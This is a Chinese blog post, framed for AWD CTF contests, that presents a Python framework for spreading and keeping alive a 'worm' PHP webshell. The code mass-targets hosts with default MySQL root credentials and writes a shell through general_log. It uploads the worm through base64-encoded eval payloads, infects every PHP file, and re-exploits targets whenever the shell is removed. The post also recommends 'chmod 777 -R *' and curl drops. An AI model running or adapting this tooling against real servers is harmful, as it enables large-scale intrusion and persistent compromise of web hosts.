基於AWD比賽的蠕蟲webshell(二)

http://link.zhihu.com/?target=https%3A//mp.weixin.qq.com/s/Nw2VDyvCpPt_GG5YKTQuUQ

0x00 python維持復活框架

一個蠕蟲webshell只是相當於一枚好的子彈,我們還需要配置一把槍來搭配使用,那麼如何做到我們落地98k,別人落地還要慢慢撿槍才能吃雞呢。 上篇只是的簡單執行命令的客戶端,但下面這個是基於這個蠕蟲webshell的python維持復活框架,大致思路是這樣的。

0x01 webshell特性

首先回顧一下最終版蠕蟲webshell的特性如下:

  1. 遞歸掃描所有web目錄及文件,全部掃到的php寫入webshell
  2. 網站全部php可作為webshell連接執行命令
  3. 不帶參數請求又可以正常訪問原頁面,不影響訪問
  4. 所有web路徑目錄寫入單獨一個特定webshell
  5. 判斷是否寫過不再重複寫入
  6. 所有php頁面都可以互相復活蠕蟲webshell
  7. 蠕蟲webshell返回所有php文件url地址
  8. 蠕蟲webshell發送返回數據傳輸加密
  9. 數字簽名校驗執行、5秒後不可重放
  10. 頁面功能性可控(可以使全部php原有功能失效,只剩下webshell功能)
  11. 前端互相復活以及反滲透
  12. 適配meterpreter連接
  13. 加密混淆

具體的蠕蟲webshell代碼詳情可以參考上一篇文章:基於AWD比賽的蠕蟲webshell(一)

0x02 流程

根據以上蠕蟲webshell特性我們可以設計一個框架出來使蠕蟲從生成到維持最後互相復活,如果都被刪了或者對手重置環境,就自動快速重新getshell再次復活。

基於AWD比賽的蠕蟲webshell(二)

簡單來說就是,python有技巧地批量請求所有靶機ip。只需編寫getshell的模塊,模塊返回一個蠕蟲webshell的url,就會自動本地傳播感染所有php文件,即使比賽對手重置環境會重新getshell再次感染,刪掉其中一個馬會使用其他被感染的馬復活。 如果在代碼最後面加個exit();全部php頁面將會失效只剩下webshell功能。(適用於登山奪旗模式比賽)因為比賽環境實在太多突發狀況,我認為已經考慮到比較多出現的情況就是超時,webshell失效,漏洞修補完成,上馬後別人刪所有文件等等,但不排除還會有其他錯誤使這個py跑崩的情況,目前沒發現。

0x03 代碼解析

框架中假設這個情況是數據庫的root/root密碼getshell。並且在自己awd服務器查到web絕對路徑是/var/www/html(比賽時靶機大家都一樣,可以查看自己的絕對路徑),我們的getshell方式是數據庫日誌寫shell,然後通過shell上傳蠕蟲webshell,再維持權限和復活。

於是有了以下的代碼,要結合上面的思路圖來看。

#!/usr/bin/python # -*- coding: UTF-8 -*- # made by 3s_NwGeek import requests,random,MySQLdb,re,base64 import time from gevent import monkey from gevent.pool import Pool from bs4 import BeautifulSoup from urllib import unquote monkey.patch_all() passwd = 'admin'#這是蠕蟲webshell的密碼 username="root"#數據庫名一定要root權限才可以有效寫文件 login_psw="root" webshell_path= 'http://TARGET_IP/service.php'#要跟查詢路徑的文件名相同!!!!!!!!! webshell_psw='a111' localfile = 'C:\\Users\\\\3s_NwGeek\\Desktop\\\\light.php' # 本地待上傳的馬文件名 #Secure_file_priv <5.5.53可以直接loadfile讀flag,然後命令行curl提交 # #路徑要改,log_file = 'C:/phpstudy/WWW/test1.php'一定要跟上面webshell_path保持統一文件名 webroot='D:/installed_software/phpstudy/WWW' cmd='del %s/service.php'%webroot #數據庫要執行的命令 sqlquerys=('''select @@version; set global general_log = off; set global general_log = on; set global general_log_file = '%s/service.php'; select " 
"; set global general_log = off; '''%webroot).splitlines() #TARGET_IP不用改,會在函數中替換,填多幾個php作為備用訪問 bakup_webshell_url='''http://TARGET_IP/index.php http://TARGET_IP/light.php'''.splitlines() #批量目標主機,格式127.0.0.1:80 targets=open("C:\\Users\\\\3s_NwGeek\\Desktop\\\\target.txt").read().splitlines()#批量目標 ##只需填上面的部分即可 localfile_content = open(localfile, 'rb').read() def main(target): while True: usual_get(target) webshell_url=upupup(target) #讀取url php -loadip 、reupload、get ?_、norespond、random get # print webshell_url,'testing!!!!' if not webshell_url: print 'if not webshell_url and continute' continue elif 'http' not in webshell_url: time.sleep(3) # print "主循環一次" print 'elif http not in webshell_url:' continue tar,res=maintain_webshell(webshell_url,target) if len(res)>0: random_get(target,res) else: # print len(res),res pass time.sleep(5) # print "主循環一次" #getshell函數,框架要求return蠕蟲webshell的url即可 def upupup(target): try: conn = MySQLdb.connect(host=target, user=username, passwd=login_psw,port=3306,connect_timeout=1) print target,':login scceuss' time.sleep(0.5) cursor = conn.cursor() # 使用execute方法執行SQL語句 # cursor.execute('set password for root@localhost = password("%s"); '%change_pwd) for sql_q in sqlquerys: cursor.execute(sql_q) time.sleep(0.5) data = cursor.fetchone() if data: print "%s return : %s " % (target, data) # 使用 fetchone() 方法獲取一條數據 # 關閉數據庫連接 conn.close() reg = ".*/([^/]*\\.php?)" w_path = webshell_path.replace('TARGET_IP', target) print w_path match_shell_name = re.search(reg, w_path) if match_shell_name: shell_name = match_shell_name.group(1) # 1.php shell_path = "" try: data = {} data[webshell_psw] = '@eval(base64_decode($_POST[z0]));' data['z0'] = 'ZWNobyAnIS1fLSEtXy0hJy4kX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddLichLV8tIS1fLSEnOw==' shell_path = re.findall(re.compile(r'\\!-_-\\!-_-\\!.+\\!-_-\\!-_-\\!'), requests.post(w_path, data).text.strip())[0].replace('!-_-!-_-!', '')#獲取絕對路徑 # print shell_path target_path = shell_path.split(shell_name)[0].replace('TARGET_IP', target) + '/.Conf_check.php' # 獲取上傳絕對路徑文件地址 # print 'target_path:',target_path target_path_base64 = base64.b64encode(target_path) # print w_path,w_path.split(shell_name) target_file_url = w_path.split(shell_name)[0].replace('TARGET_IP', target) + '/.Conf_check.php' # 上傳url地址 # print 'target_file_url:',target_file_url data = {} data[webshell_psw] = '@eval(base64_decode($_POST[z0]));' data[ 'z0'] = 'QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzsKJGY9YmFzZTY0X2RlY29kZSgkX1BPU1RbInoxIl0pOwokYz1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejIiXSk7CiRidWY9IiI7CmZvcigkaT0wOyRpPHN0cmxlbigkYyk7JGkrPTEpCiAgICAkYnVmLj1zdWJzdHIoJGMsJGksMSk7CmVjaG8oQGZ3cml0ZShmb3BlbigkZiwidyIpLCRidWYpKTsKZWNobygifDwtIik7CmRpZSgpOw==' data['z1'] = target_path_base64 data['z2'] = base64.b64encode(localfile_content) # print 'webshell_path:',w_path,data requests.post(w_path , data).text.strip() if 'check_url' in requests.get(target_file_url + "?_").content: print target,':getshell success!!!!!!!!!!!!!!',excmd(target_file_url, passwd, cmd, encoding='utf-8') return target_file_url.replace('TARGET_IP', target) except Exception as e: if 'list out of range' in str(e): print target,'日誌獲取根路徑錯誤:target_path' print e pass except Exception as e: print target+' is no vul:','有可能輸入格式錯誤',e def maintain_webshell(webshell_url, target, Timeout=5):#檢測函數,返回檢測目標,檢測結果 # print "進入maintain_webshell()" head = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2', 'Connection': 'close', 'Upgrade-Insecure-Requests': '1', 'Cache-Control': 'max-age=0'} try: r=requests.get(webshell_url + '?_', headers=head,timeout=5,proxies={'http': 'http://127.0.0.1:8080'}) # print r.content # html=BeautifulSoup(r.content.decode('gb2312','ignore'),'lxml')#注意根據實際情況編碼 html = BeautifulSoup(r.content, 'lxml', from_encoding="utf8") # 注意根據實際情況編碼 checks_arr = html.find_all(attrs={'id': 'check_url'})#獲取url if len(checks_arr)<2:#爬取失敗重傳馬 print target,"%s 獲取phpurl:%d 狀態碼 %d webshell失效,正在嘗試重傳webshell\\n" % (webshell_url,len(checks_arr),r.status_code) time.sleep(0.5) webshell_url, check_res=maintain_webshell(upupup(target), target)# # usual_get(target) else: check_res = [] for check_str in checks_arr: check_res.append(check_str.string) print "權限維持成功:",target,len(check_res),webshell_url # print "跳出maintain_webshell():find_allphp" return webshell_url, check_res except Exception as e: if 'timeout' in str(e): RCE_res=excmd(webshell_url, passwd, 'echo testRCE') if RCE_res: print target,':執行命令成功,但感染超時,請使用輕便版--------->',RCE_res return webshell_url,bakup_webshell_url else: print target+':執行命令失敗,可能權限不足感染失敗,或者php遍歷函數被禁,or 主機連接失敗' print target,'err from maintain_webshell',e # print "跳出maintain_webshell():err" return webshell_url,[] def random_get(target,res): try: # print "進入random_get" buff=res while len(res)>1: ran_url=random.sample(buff,1)[0] ran_url, res = maintain_webshell(ran_url, target) if len(res)<2:#失效情況下 random.shuffle(buff) for url in buff: url, res = maintain_webshell(url, target) if len(res)>2: buff=res break print target,'該webshell失效,正在嘗試緩存buff' elif len(res)>=2:#成功情況下 buff=list(set(buff+res)) # print buff print len(buff) time.sleep(3) else: print "random_get——res:",res,"buff:",buff usual_get(target) # print "跳出random_get()"# print '權限維持成功:', len(res),r, res except Exception as e: print '%s "err from random_get":上傳webshell_url錯誤!:%s'%(target,e) pass def usual_get(target): try: # print "進入usual_get()" base_url='http://'+target+'/.Conf_check.php' w_url,res=maintain_webshell(base_url,target) if len(res)>1: # print res random_get(target,res) # print "跳出usual_get()" except: pass ################以下為命令執行函數 def getSerTime(url): ser_time_format = '%a, %d %b %Y %H:%M:%S GMT' head = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2', 'Connection': 'close', 'Upgrade-Insecure-Requests': '1', 'Cache-Control': 'max-age=0'} r = requests.get(url, allow_redirects=False,headers=head,proxies={'http': 'http://127.0.0.1:8080'}) if r.headers['Date']: stimestrp = time.strptime(r.headers['Date'], ser_time_format) stime = time.mktime(stimestrp) + 60 * 60 * 8 # GMT + 8 時區 timeskew = int(time.time()) - int(stime) return timeskew else: return None # 加密 def encrypt(string, salt, encoding='utf-8'): estring = '' b64string = base64.b64encode(string.encode(encoding)).decode('utf-8') for n, char in enumerate(b64string): estring += chr(ord(char) ^ n % salt) return estring # 解密 def decrypt(estring, salt, encoding='utf-8'): data=estring[::-1].replace('cAFAcABAAswTA2GE2c','i').replace(':kcehc_revres','=').encode('unicode_escape').decode("string_escape") string=unquote(base64.urlsafe_b64decode(data)) # string=unicode(string, "gb2312").encode("utf8")#有中文亂碼去掉這個註釋 return string # 命令執行 def excmd(url, passwd, cmd, encoding='utf-8'): try: timeskew = getSerTime('/'.join(url.split('/')[:-1])) # 校對服務器時間,防止時間差造成API校驗失敗 nowtime = int(time.time()) if timeskew == None: print('檢查服務器時間出錯,請手動確認服務器時間!') # 手動獲取服務器時間戳,並保存到servtime變量中,int類型 servtime = time.time() nowtime = servtime else: nowtime -= timeskew # 開始發起請求 passwd = md5(passwd.encode('utf-8')).hexdigest() salt = int(random.random() * 100) ecmd = encrypt(cmd, salt) sign_tmp = ecmd + passwd + str(nowtime) + str(salt) sign = md5(sign_tmp.encode('utf-8')).hexdigest() parameters = { 'time': nowtime, 'check': ecmd, 'salt': salt, 'sign': sign } head = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2', 'Connection': 'close', 'Upgrade-Insecure-Requests': '1', 'Cache-Control': 'max-age=0'} r = requests.get(url, params=parameters, headers=head,proxies={'http': 'http://127.0.0.1:8080'},timeout=3) # r = requests.post(url, data=parameters, headers=head, proxies={'http': 'http://127.0.0.1:8080'}), if '0:' in r.text:print '執行成功:', res = decrypt(r.content.decode('utf-8').replace('0:',''), salt, encoding) return res except Exception as e: pass print(url,'參數配置錯誤,連接異常err:%s'%str(e)) # traceback.print_exc() if __name__ == '__main__': # main(target) pool = Pool(len(targets))#批量 pool.map(main, targets)#一個線程一個target

效果如下gif:

基於AWD比賽的蠕蟲webshell(二)

0x04 框架通用getshell函數編寫

有了這個框架,除了數據庫寫shell當然有很多getshell的方法,於是有了對應的腳本,通通寫好。 可以把你getshell的方法寫到upupup函數就ok了,最終return一個蠕蟲webshell url運行即可。

  1. Getshell模塊可以改為任意方式getshell填充到upupup函數里
  2. 會感染所有php
  3. 路徑文件出現中文可能報錯提示,但不影響維持運行
  4. 刪除每個目錄下的單獨馬會復活
  5. 直到所有被感染過的所有php都無法訪問會重新getshell

配合批量命令執行如以下gif:

基於AWD比賽的蠕蟲webshell(二)

0x05 缺點與不足

很多時候都是權限造成的寫入失敗,有命令執行的時候建議chmod 777 -R *,再curl -o 落地會增加成功幾率。

0x06 蠕蟲webshell最終版

蠕蟲webshell代碼詳情可以參考上一篇文章《基於AWD比賽的蠕蟲webshell(一)》,但實際我最終在awd比賽中用的是混淆版本,對方很難短時間內解密,已上傳至github:https://github.com/3sNwgeek/awd_worm_phpwebshell_framework/,最後祝大家年末比賽順利。

聲明:筆者初衷用於分享與普及網絡知識,若讀者因此作出任何危害網絡安全行為後果自負,與合天智匯及原作者無關!


分享到:


相關文章: